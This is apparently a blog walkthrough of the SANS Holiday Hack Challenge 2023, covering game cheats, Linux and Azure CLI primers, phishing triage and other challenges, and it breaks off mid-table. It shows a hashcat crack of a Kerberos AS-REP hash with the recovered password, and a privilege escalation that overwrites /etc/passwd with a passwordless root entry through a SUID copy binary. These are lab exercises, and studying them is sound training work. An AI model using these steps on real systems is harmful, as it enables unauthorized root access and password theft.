&lt;p&gt;This is the introduction for new starters Jingle Ringford introduces the user to the game, and how the Pi terminals work, and how you will be expected to travel the world, and complete your training and objectives.&lt;/p&gt;

&lt;h3 id=&quot;characters&quot;&gt;Characters&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Jingle Ringford&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;objects&quot;&gt;Objects&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Fishing Pole&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;orientation-pi&quot;&gt;Orientation Pi&lt;/h3&gt;

&lt;p&gt;This is orientation for new players, basically introduces them to the format of elf’s asking questions, stating problems, and the raspberry pi training instances dotted around the world! … It’s all a simulation right! ;)&lt;/p&gt;

&lt;p&gt;Asks you to type&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;answer
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-JingleR.png&quot; alt=&quot;Jingle Ringford&quot; width=&quot;500&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Objective 1&lt;/strong&gt; Complete!&lt;/p&gt;

&lt;h2 id=&quot;frosty-beach&quot;&gt;Frosty beach&lt;/h2&gt;

&lt;p&gt;After Orientation, we jump back to our pirate ship and sail East…
until we hit the port of &lt;strong&gt;Frosty Beach&lt;/strong&gt;&lt;/p&gt;

&lt;h3 id=&quot;characters-1&quot;&gt;Characters&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Goose of Christmas Island&lt;/li&gt;
  &lt;li&gt;Santa&lt;/li&gt;
  &lt;li&gt;Morcel Nougat&lt;/li&gt;
  &lt;li&gt;Ginger Breddie&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;snowball-fight&quot;&gt;Snowball fight&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-Snowballhero-1.png&quot; alt=&quot;Snowballhero&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Original URL:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;https://hhc23-snowball.holidayhackchallenge.com/room/?username=xxx&amp;amp;roomId=187bac99f&amp;amp;roomType=public&amp;amp;gameType=co-op&amp;amp;id=94e1d6a8-bb69-47ca-bc70-69386d80e2bc&amp;amp;dna=ATATATTAATATATATATATATGCATATATATCGTAATGCATATATATATATTATAATATATATATATATCGATATATTAATATATATATATGCTAATATATATATATGCTAATATGCTA&amp;amp;singlePlayer=false&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Hmmm, the hint is defeat Santa we could do this collaboratively with a good partner. But theres another hint about a secret single player mode!&lt;/p&gt;

&lt;p&gt;Tampered URL:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;https://hhc23-snowball.holidayhackchallenge.com/room/?username=xxx&amp;amp;roomId=187bac99f&amp;amp;roomType=public&amp;amp;gameType=co-op&amp;amp;id=94e1d6a8-bb69-47ca-bc70-69386d80e2bc&amp;amp;dna=ATATATTAATATATATATATATGCATATATATCGTAATGCATATATATATATTATAATATATATATATATCGATATATTAATATATATATATGCTAATATATATATATGCTAATATGCTA&amp;amp;singlePlayer=true&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And we receive a viking friend that can throw several snowballs once in an arc, kinda makes it easy!&lt;/p&gt;

&lt;p&gt;Hmmm…. it didnt register outside the iframe…&lt;/p&gt;

&lt;h4 id=&quot;hints&quot;&gt;Hints&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://gist.github.com/chrisjd20/93771da596ca5e49043f148a845c469f&quot;&gt;chrisjd20 hint&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Its easiest to grab a friend play with and beat Santa but tinkering with client-side variables can grant you all kinds of snowball fight super powers. You could even take on Santa and the elves solo!
An elf dropped this handy hint, so we can tamper the some other variables and beat santa in a co-op! – Morcel Nougat&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-Snowballhero-2.png&quot; alt=&quot;snowballhero&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In the screenshot above, you can see our calls, on the console, manipulating the game.&lt;/p&gt;

&lt;p&gt;We found we could cheat by messing with the following:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;player.health&lt;/li&gt;
  &lt;li&gt;elfThrowDelay&lt;/li&gt;
  &lt;li&gt;SantaThrowDelay&lt;/li&gt;
  &lt;li&gt;SnowballDmg&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-Snowball-victory.png&quot; alt=&quot;Victory&quot; width=&quot;500&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Completing this challenge gives us &lt;strong&gt;Objective 2&lt;/strong&gt;&lt;/p&gt;

&lt;h3 id=&quot;linux-101&quot;&gt;Linux 101&lt;/h3&gt;

&lt;p&gt;A simple primer to linux for new starters, as most of the Pi terminals are Linux containers.&lt;/p&gt;

&lt;p&gt;These are a list of the commands we used in the 101 terminal:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;yes
ls
cat troll*
rm troll*
pwd
ls -la
cat .tr*
history
env
cd workshop
grep -i troll -r *
chmod 755 pre*
./present_engine
cd ele*
mv blown_fuse0 fuse0
ln -s fuse0 fuse1
cp fuse1 fuse2
echo TROLL_REPLELLANT &amp;gt; fuse2
find /opt/troll_den -iname troll*
find /opt/troll_den -user troll
find /opt/troll_den -type f -size +108k -size -110k
ps aux
netstat -tlnp | grep 14516_troll ???
netstat -napt
curl 127.0.0.1:54321
kill -9 &amp;lt;pid&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Completing this tutorial gives us &lt;strong&gt;Objective 3&lt;/strong&gt;&lt;/p&gt;

&lt;h2 id=&quot;rudolphs-nest&quot;&gt;Rudolphs nest&lt;/h2&gt;

&lt;h3 id=&quot;characters-2&quot;&gt;Characters&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Goose of Christmas Island&lt;/li&gt;
  &lt;li&gt;Noel Bootie&lt;/li&gt;
  &lt;li&gt;Sparkle Redberry&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;reportinator&quot;&gt;Reportinator&lt;/h3&gt;

&lt;p&gt;We are giving a HTTP interface to a report generating tool. The url is reportedly https://reportinator.elf/review/42
but actually its located here: &lt;a href=&quot;https://hhc23-reportinator-dot-holidayhack2023.ue.r.appspot.com&quot;&gt;Reportinator&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-reportinator.png&quot; alt=&quot;Reportinator&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Our thoughts and opinions on the chatNPT report findings:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;1 - checks out&lt;/li&gt;
  &lt;li&gt;2 - write up is ok but the pic is not matching the description&lt;/li&gt;
  &lt;li&gt;3 - &lt;strong&gt;FAKE&lt;/strong&gt; default image from github and suspicious port no 88555&lt;/li&gt;
  &lt;li&gt;4 - plausible &amp;amp; similar to alabaster’s chall so must be ok&lt;/li&gt;
  &lt;li&gt;5 - checks out&lt;/li&gt;
  &lt;li&gt;6 - &lt;strong&gt;FAKE&lt;/strong&gt; but checks out normal and angular xss, maybe not together&lt;/li&gt;
  &lt;li&gt;7 - confusing image but ok&lt;/li&gt;
  &lt;li&gt;8 - checks out&lt;/li&gt;
  &lt;li&gt;9 - &lt;strong&gt;FAKE&lt;/strong&gt; silly recommendation “modify the Location header to reflect the host Windows registration key”&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-reportinator-2.png&quot; alt=&quot;Reportinator Complete&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Completing this challenge give us &lt;strong&gt;Objective 4&lt;/strong&gt;&lt;/p&gt;

&lt;h3 id=&quot;azure-101&quot;&gt;Azure 101&lt;/h3&gt;

&lt;p&gt;An introduction to the Azure Cli tool, again more for new starters.&lt;/p&gt;

&lt;h4 id=&quot;references&quot;&gt;References&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/cli/azure/reference-index?view=azure-cli-latest&quot;&gt;MS Azure Cli Latest&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Terminal Commands and Output:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; az account show |less

 {
  &quot;environmentName&quot;: &quot;AzureCloud&quot;,
  &quot;id&quot;: &quot;2b0942f3-9bca-484b-a508-abdae2db5e64&quot;,
  &quot;isDefault&quot;: true,
  &quot;name&quot;: &quot;northpole-sub&quot;,
  &quot;state&quot;: &quot;Enabled&quot;,
  &quot;tenantId&quot;: &quot;90a38eda-4006-4dd5-924c-6ca55cacc14d&quot;,
  &quot;user&quot;: {
    &quot;name&quot;: &quot;northpole@northpole.invalid&quot;,
    &quot;type&quot;: &quot;user&quot;
  }
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;az group list --output table

[
  {
    &quot;id&quot;: &quot;/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1&quot;,
    &quot;location&quot;: &quot;eastus&quot;,
    &quot;managedBy&quot;: null,
    &quot;name&quot;: &quot;northpole-rg1&quot;,
    &quot;properties&quot;: {
      &quot;provisioningState&quot;: &quot;Succeeded&quot;
    },    &quot;tags&quot;: {}
  },
  {
    &quot;id&quot;: &quot;/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg2&quot;,
    &quot;location&quot;: &quot;westus&quot;,
    &quot;managedBy&quot;: null,
    &quot;name&quot;: &quot;northpole-rg2&quot;,
    &quot;properties&quot;: {      &quot;provisioningState&quot;: &quot;Succeeded&quot;
    },    &quot;tags&quot;: {}  }
]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;az functionapp list --resource-group northpole-rg1 --output table
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;az vm list --resource-group northpole-rg1 --output table
...
az vm list --resource-group northpole-rg2 --output table

[
  {
    &quot;id&quot;: &quot;/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg2/providers/Microsoft.Compute/virtualMachines/NP-VM1&quot;,
    &quot;location&quot;: &quot;eastus&quot;,
    &quot;name&quot;: &quot;NP-VM1&quot;,
    &quot;properties&quot;: {
      &quot;hardwareProfile&quot;: {
        &quot;vmSize&quot;: &quot;Standard_D2s_v3&quot;
      },
      &quot;provisioningState&quot;: &quot;Succeeded&quot;,
      &quot;storageProfile&quot;: {
        &quot;imageReference&quot;: {
          &quot;offer&quot;: &quot;UbuntuServer&quot;,
          &quot;publisher&quot;: &quot;Canonical&quot;,
          &quot;sku&quot;: &quot;16.04-LTS&quot;,
          &quot;version&quot;: &quot;latest&quot;
        },
        &quot;osDisk&quot;: {
          &quot;caching&quot;: &quot;ReadWrite&quot;,
          &quot;createOption&quot;: &quot;FromImage&quot;,
          &quot;managedDisk&quot;: {
            &quot;storageAccountType&quot;: &quot;Standard_LRS&quot;
          },
          &quot;name&quot;: &quot;VM1_OsDisk_1&quot;
        }
      },
      &quot;vmId&quot;: &quot;e5f16214-18be-4a31-9ebb-2be3a55cfcf7&quot;
    },
    &quot;resourceGroup&quot;: &quot;northpole-rg2&quot;,
    &quot;tags&quot;: {}
  }
]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;az functionapp list --resource-group northpole-rg2  --output table
...
az vm run-command invoke --resource-group northpole-rg2 --name NP-VM1 --command-id RunShellScript --scripts &quot;ls&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Completing this introduction to the Azure API gives us &lt;strong&gt;Objective 5&lt;/strong&gt;&lt;/p&gt;

&lt;h2 id=&quot;resort-lobby&quot;&gt;Resort Lobby&lt;/h2&gt;

&lt;h3 id=&quot;characters-3&quot;&gt;Characters&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Pepper Minstix&lt;/li&gt;
  &lt;li&gt;Wunrose Openslae&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;other&quot;&gt;Other&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Netwars&lt;/li&gt;
  &lt;li&gt;Candy machine - come back at the end&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;misfit-island&quot;&gt;Misfit Island&lt;/h1&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-Misfit-island.png&quot; alt=&quot;Misfit Island&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;scaredy-kite-heights&quot;&gt;Scaredy Kite Heights&lt;/h2&gt;

&lt;h3 id=&quot;characters-4&quot;&gt;Characters&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Goose of the island of misfit toys&lt;/li&gt;
  &lt;li&gt;Eve Snowshoes&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;hashcat&quot;&gt;Hashcat&lt;/h3&gt;

&lt;p&gt;Another introductory terminal, focusing on educating participants on modern password cracking techniques.&lt;/p&gt;

&lt;h4 id=&quot;hints-1&quot;&gt;Hints&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;ASREP (or -m 18200)&lt;/li&gt;
  &lt;li&gt;-w 1 -u 1 –kernel-accel 1 –kernel-loops 1&lt;/li&gt;
  &lt;li&gt;hash.txt&lt;/li&gt;
  &lt;li&gt;password_list.txt&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Put them altogether:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;hashcat -m 18200 --force -w 1 -u 1 --kernel-accel 1 --kernel-loops 1 -a 0 hash.txt password_list.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Output:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;hashcat -m 18200 --force -a 0 hash.txt password_list.txt --show
$krb5asrep$23$alabaster_snowball@XMAS.LOCAL:22865a2bceeaa73227ea4021879eda02$8f07417379e610e2dcb0621462fec3675bb5a850aba31837d541e50c622dc5faee60e48e019256e466d29b4d8c43cbf5bf7264b12c21737499cfcb73d95a903005a6ab6d9689ddd2772b908fc0d0aef43bb34db66af1dddb55b64937d3c7d7e93a91a7f303fef96e17d7f5479bae25c0183e74822ac652e92a56d0251bb5d975c2f2b63f4458526824f2c3dc1f1fcbacb2f6e52022ba6e6b401660b43b5070409cac0cc6223a2bf1b4b415574d7132f2607e12075f7cd2f8674c33e40d8ed55628f1c3eb08dbb8845b0f3bae708784c805b9a3f4b78ddf6830ad0e9eafb07980d7f2e270d8dd1966:IluvC4ndyC4nes!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Answer:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;IluvC4ndyC4nes!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Completing this challenge gives us &lt;strong&gt;Objective 15&lt;/strong&gt;&lt;/p&gt;

&lt;h2 id=&quot;ostrich-saloon&quot;&gt;Ostrich Saloon&lt;/h2&gt;

&lt;h3 id=&quot;characters-5&quot;&gt;Characters&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Rose Mold&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;linux-priv-esc&quot;&gt;Linux priv esc&lt;/h3&gt;

&lt;p&gt;An introductory terminal has been implemented to educate new users on prevalent security vulnerabilities in Linux. The focus is on elucidating how these vulnerabilities may result in the escalation of privileges on a susceptible system.&lt;/p&gt;

&lt;h4 id=&quot;hints-2&quot;&gt;Hints:&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://payatu.com/blog/a-guide-to-linux-privilege-escalation/&quot;&gt;Guide to Linux Priv Esc’s&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Our terminal commands and output:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;elf@e2760b3a059c:~$ find / -perm -u=s -type f 2&amp;gt;/dev/null
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/passwd
/usr/bin/simplecopy
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;elf@e2760b3a059c:~$ ls -l /usr/bin/simplecopy
-rwsr-xr-x 1 root root 16952 Dec  2 22:17 /usr/bin/simplecopy
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;elf@e2760b3a059c:~$ echo root::0:0:root:/root:/bin/bash &amp;gt; passwd
elf@e2760b3a059c:~$ /usr/bin/simplecopy ./passwd /etc/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;elf@e2760b3a059c:~$ su
root@e2760b3a059c:/home/elf# ls
HELP  bash  passwd  runmetoanswer  simplecopy

# ./runmetoanser
Your answer: santa

Checking....
Your answer is correct!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Completing this challenge gives us &lt;strong&gt;Objective 7&lt;/strong&gt;&lt;/p&gt;

&lt;h2 id=&quot;tarnished-trove&quot;&gt;Tarnished trove&lt;/h2&gt;

&lt;h3 id=&quot;characters-6&quot;&gt;Characters&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Dusty Giftwrap&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;other-1&quot;&gt;Other&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;One piece - luffy’s straw hat; treasure is close by….&lt;/li&gt;
  &lt;li&gt;Cartridge volume 1&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-Strawhat.png&quot; alt=&quot;Straw hat&quot; width=&quot;500&quot; /&gt;&lt;/p&gt;

&lt;p&gt;At this point the cartridge detector started pinging. We assume we picked up Cartridge Vol1 in this area!&lt;/p&gt;

&lt;h2 id=&quot;square-wheel-yard&quot;&gt;Square wheel yard&lt;/h2&gt;

&lt;h3 id=&quot;characters-7&quot;&gt;Characters&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Goose of island misfit toys&lt;/li&gt;
  &lt;li&gt;Poinsettia Mckittens&lt;/li&gt;
  &lt;li&gt;Garland Candlesticks&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;fishing&quot;&gt;Fishing&lt;/h3&gt;

&lt;p&gt;Poinsettia Mckittens&lt;/p&gt;

&lt;h4 id=&quot;bonus-fishing-guide-aka-objective-23&quot;&gt;BONUS: Fishing Guide aka Objective 23&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;have to fish 20x different types&lt;/li&gt;
  &lt;li&gt;we spot this in the page source: &lt;a href=&quot;https://2023.holidayhackchallenge.com/sea/fishdensityref.html&quot;&gt;fishdensityref.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-fishing-source.png&quot; alt=&quot;Source&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Once completed the challenge escalates to ….&lt;/p&gt;

&lt;h4 id=&quot;bonus-fishing-mastery-aka-objective-24&quot;&gt;BONUS: Fishing Mastery aka Objective 24&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;collect at least 1x kind of every species of fish and return&lt;/li&gt;
  &lt;li&gt;see walkthrough below&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;luggage-lock-decode&quot;&gt;Luggage lock decode&lt;/h3&gt;

&lt;p&gt;Presented is another intriguing lockpicking challenge, requiring users to exploit a luggage lock—a real-world simulation designed to educate professionals about the vulnerabilities inherent in uncomplicated locking mechanisms.&lt;/p&gt;

&lt;h4 id=&quot;hints-3&quot;&gt;Hints&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=ycM1hBSEyog&quot;&gt;Chris Elgee Luggage Lock Video&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-Luggagelock.png&quot; alt=&quot;Luggage Lock&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Completing this challenge gives us &lt;strong&gt;Objective 6&lt;/strong&gt;&lt;/p&gt;

&lt;h1 id=&quot;film-noir-island&quot;&gt;Film Noir Island&lt;/h1&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-Noir-island.png&quot; alt=&quot;Film Noir Island&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;chiaroscuro-city&quot;&gt;Chiaroscuro city&lt;/h2&gt;

&lt;h3 id=&quot;characters-8&quot;&gt;Characters&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Wombley Cube
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.holidayhackchallenge.com/2023/wombleycube_the_enchanted_voyage.mp3.zip&quot;&gt;WombleyCube MP3&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Shift Mcshuffles&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;nan-pi&quot;&gt;Nan Pi&lt;/h3&gt;

&lt;p&gt;Introducing a challenge aimed at raising awareness in Python gaming algorithms, emphasizing the significant impact of “NaN” (Not a Number) on altering the output of a game. This exercise seeks to underscore the importance of handling NaN effectively within gaming code.&lt;/p&gt;

&lt;h4 id=&quot;hints-4&quot;&gt;Hints&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.tenable.com/blog/python-nan-injection&quot;&gt;Python nan&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Real hint is in the name, strangely other than 0-9 we can also put nan on the cards.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;How we won the game… constantly playing these cards:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;0,1,8,9, nan&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Objective 12 Completed&lt;/strong&gt;&lt;/p&gt;

&lt;h2 id=&quot;gumshoe-alley-pi-office&quot;&gt;Gumshoe Alley PI Office&lt;/h2&gt;

&lt;h3 id=&quot;characters-9&quot;&gt;Characters&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Tangle Coalbox&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;kusto-detective-agency&quot;&gt;Kusto Detective Agency&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://detective.kusto.io/sans2023&quot;&gt;Detective Kusto&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://detective.kusto.io/faq?index=1&quot;&gt;Sign up&lt;/a&gt; for a free account&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href=&quot;#kql&quot;&gt;Jump to KQL Answers below&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Objective 13 Completed!&lt;/strong&gt;&lt;/p&gt;

&lt;h2 id=&quot;the-black-light-district&quot;&gt;The Black Light District&lt;/h2&gt;

&lt;h3 id=&quot;characters-10&quot;&gt;Characters&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Goose of Film Noir Island&lt;/li&gt;
  &lt;li&gt;Fitzy Shortstack&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;phish-detection&quot;&gt;Phish Detection&lt;/h3&gt;

&lt;p&gt;The challenge is located: &lt;a href=&quot;https://hhc23-phishdetect-dot-holidayhack2023.ue.r.appspot.com&quot;&gt;Phish Detector&lt;/a&gt;
Looks fairly simple - bit of manual hard labour/analysis&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-phishing.png&quot; alt=&quot;Phishing&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;hints-5&quot;&gt;Hints:&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;Discover the essentials of email security with DMARC, DKIM, and SPF at &lt;a href=&quot;https://www.cloudflare.com/learning/email-security/dmarc-dkim-spf/&quot;&gt;Cloudflare’s Guide&lt;/a&gt;. – Fitsy Shortstack&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Quick notes, about what we looked for:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;marked all dmarc fails &amp;amp; bad signatures&lt;/li&gt;
  &lt;li&gt;marked all external domains&lt;/li&gt;
  &lt;li&gt;marked users with odd/different/wrong username conventions&lt;/li&gt;
&lt;/ul&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Sender&lt;/th&gt;
      &lt;th&gt;Subject&lt;/th&gt;
      &lt;th&gt;Status&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;alice.smith@geeseislands.com&lt;/td&gt;
      &lt;td&gt;Summer Beach Cleanup Coordination&lt;/td&gt;
      &lt;td&gt;Safe&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;david.jones@geeseislands.com&lt;/td&gt;
      &lt;td&gt;Tech Team’s Holiday Hackathon&lt;/td&gt;
      &lt;td&gt;Safe&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;emily.white@geeseislands.com&lt;/td&gt;
      &lt;td&gt;Island Wildlife Conservation Efforts&lt;/td&gt;
      &lt;td&gt;Safe&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;frank.harrison@geeseislands.com&lt;/td&gt;
      &lt;td&gt;Annual Budget Review and Forecasting&lt;/td&gt;
      &lt;td&gt;Safe&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;grace.lee@geeseislands.com&lt;/td&gt;
      &lt;td&gt;Marketing for the Holiday Season&lt;/td&gt;
      &lt;td&gt;Safe&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;harry.potter@geeseislands.com&lt;/td&gt;
      &lt;td&gt;Q4 Operational Excellence&lt;/td&gt;
      &lt;td&gt;Safe&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;isabella.martin@geeseislands.com&lt;/td&gt;
      &lt;td&gt;Environmental Policies Legal Review&lt;/td&gt;
      &lt;td&gt;Safe&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;jason.brown@geeseislands.com&lt;/td&gt;
      &lt;td&gt;Boosting End of Year Sales&lt;/td&gt;
      &lt;td&gt;Safe&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;john.doe@geeseislands.com&lt;/td&gt;
      &lt;td&gt;Pacific Festive Celebrations Overview&lt;/td&gt;
      &lt;td&gt;Safe&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;karen.evans@geeseislands.com&lt;/td&gt;
      &lt;td&gt;IT Infrastructure Upgrade Discussion&lt;/td&gt;
      &lt;td&gt;Safe&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;laura.green@geeseislands.com&lt;/td&gt;
